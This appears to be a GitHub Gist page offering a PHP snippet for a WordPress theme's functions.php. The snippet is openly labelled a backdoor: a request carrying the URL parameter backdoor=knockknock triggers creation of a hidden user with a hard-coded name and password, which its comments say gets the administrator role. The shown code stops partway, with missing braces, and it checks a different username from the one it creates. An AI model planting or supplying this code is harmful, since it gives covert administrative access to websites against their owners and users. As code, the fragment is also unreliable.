Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
//Hit this URL after put code on functions.php :
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
If (!username_exists('username')) {
$user_id = wp_create_user('name', 'pass');
$user = new WP_User($user_id);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.